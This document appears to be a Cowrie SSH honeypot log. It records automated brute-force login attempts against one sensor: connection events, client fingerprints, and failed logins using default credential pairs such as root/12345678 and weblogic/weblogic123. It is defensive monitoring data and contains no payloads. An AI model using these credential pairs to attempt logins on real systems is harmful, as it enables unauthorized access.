{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:26.136726Z","src_ip":"176.65.139.95","session":"13070320a06c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:26.632880Z","src_ip":"176.65.139.95","session":"13070320a06c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:27.841019Z","src_ip":"176.65.139.95","session":"13070320a06c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58440,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccce2a9a15f8","protocol":"ssh","message":"New connection: 176.65.139.95:58440 (159.203.135.109:22) [session: ccce2a9a15f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:32.748579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:32.753554Z","src_ip":"176.65.139.95","session":"ccce2a9a15f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:32.836059Z","src_ip":"176.65.139.95","session":"ccce2a9a15f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:33.227165Z","src_ip":"176.65.139.95","session":"ccce2a9a15f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:34.311506Z","src_ip":"176.65.139.95","session":"ccce2a9a15f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38666,"dst_ip":"159.203.135.109","dst_port":22,"session":"c850052f571e","protocol":"ssh","message":"New connection: 176.65.139.95:38666 (159.203.135.109:22) [session: c850052f571e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:39.508308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:39.512662Z","src_ip":"176.65.139.95","session":"c850052f571e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:39.598109Z","src_ip":"176.65.139.95","session":"c850052f571e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:40.038044Z","src_ip":"176.65.139.95","session":"c850052f571e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:41.127291Z","src_ip":"176.65.139.95","session":"c850052f571e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38678,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d2ab5d00591","protocol":"ssh","message":"New connection: 176.65.139.95:38678 (159.203.135.109:22) [session: 4d2ab5d00591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:45.791416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:45.796330Z","src_ip":"176.65.139.95","session":"4d2ab5d00591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:45.939044Z","src_ip":"176.65.139.95","session":"4d2ab5d00591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:46.350815Z","src_ip":"176.65.139.95","session":"4d2ab5d00591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:47.544286Z","src_ip":"176.65.139.95","session":"4d2ab5d00591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46092,"dst_ip":"159.203.135.109","dst_port":22,"session":"61af9521146d","protocol":"ssh","message":"New connection: 176.65.139.95:46092 (159.203.135.109:22) [session: 61af9521146d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:52.299690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:52.304406Z","src_ip":"176.65.139.95","session":"61af9521146d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:52.387777Z","src_ip":"176.65.139.95","session":"61af9521146d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:52.732403Z","src_ip":"176.65.139.95","session":"61af9521146d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:53.847760Z","src_ip":"176.65.139.95","session":"61af9521146d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32964,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d85766c0391","protocol":"ssh","message":"New connection: 159.203.92.129:32964 (159.203.135.109:22) [session: 2d85766c0391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:53.910396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:53.915344Z","src_ip":"159.203.92.129","session":"2d85766c0391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:53.925107Z","src_ip":"159.203.92.129","session":"2d85766c0391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Jenkins","password":"123456","message":"login attempt [Jenkins/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:53.937574Z","src_ip":"159.203.92.129","session":"2d85766c0391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:54.945071Z","src_ip":"159.203.92.129","session":"2d85766c0391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52052,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cce1894123e","protocol":"ssh","message":"New connection: 176.65.139.95:52052 (159.203.135.109:22) [session: 1cce1894123e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:58.952084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:58.956616Z","src_ip":"176.65.139.95","session":"1cce1894123e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:59.049741Z","src_ip":"176.65.139.95","session":"1cce1894123e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:59.317704Z","src_ip":"176.65.139.95","session":"1cce1894123e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:00.421311Z","src_ip":"176.65.139.95","session":"1cce1894123e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52058,"dst_ip":"159.203.135.109","dst_port":22,"session":"24643563d19d","protocol":"ssh","message":"New connection: 176.65.139.95:52058 (159.203.135.109:22) [session: 24643563d19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:05.403694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:05.417517Z","src_ip":"176.65.139.95","session":"24643563d19d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:05.486961Z","src_ip":"176.65.139.95","session":"24643563d19d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:05.825341Z","src_ip":"176.65.139.95","session":"24643563d19d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:06.975334Z","src_ip":"176.65.139.95","session":"24643563d19d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.181","src_port":42928,"dst_ip":"159.203.135.109","dst_port":22,"session":"84ace97e1e00","protocol":"ssh","message":"New connection: 45.79.207.181:42928 (159.203.135.109:22) [session: 84ace97e1e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:11.262162Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:11.267072Z","src_ip":"45.79.207.181","session":"84ace97e1e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:11.270870Z","src_ip":"45.79.207.181","session":"84ace97e1e00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48524,"dst_ip":"159.203.135.109","dst_port":22,"session":"78c6c7e9acdc","protocol":"ssh","message":"New connection: 176.65.139.95:48524 (159.203.135.109:22) [session: 78c6c7e9acdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:11.865252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:41:11.870003Z","src_ip":"176.65.139.95","session":"78c6c7e9acdc","protocol":"ssh"}
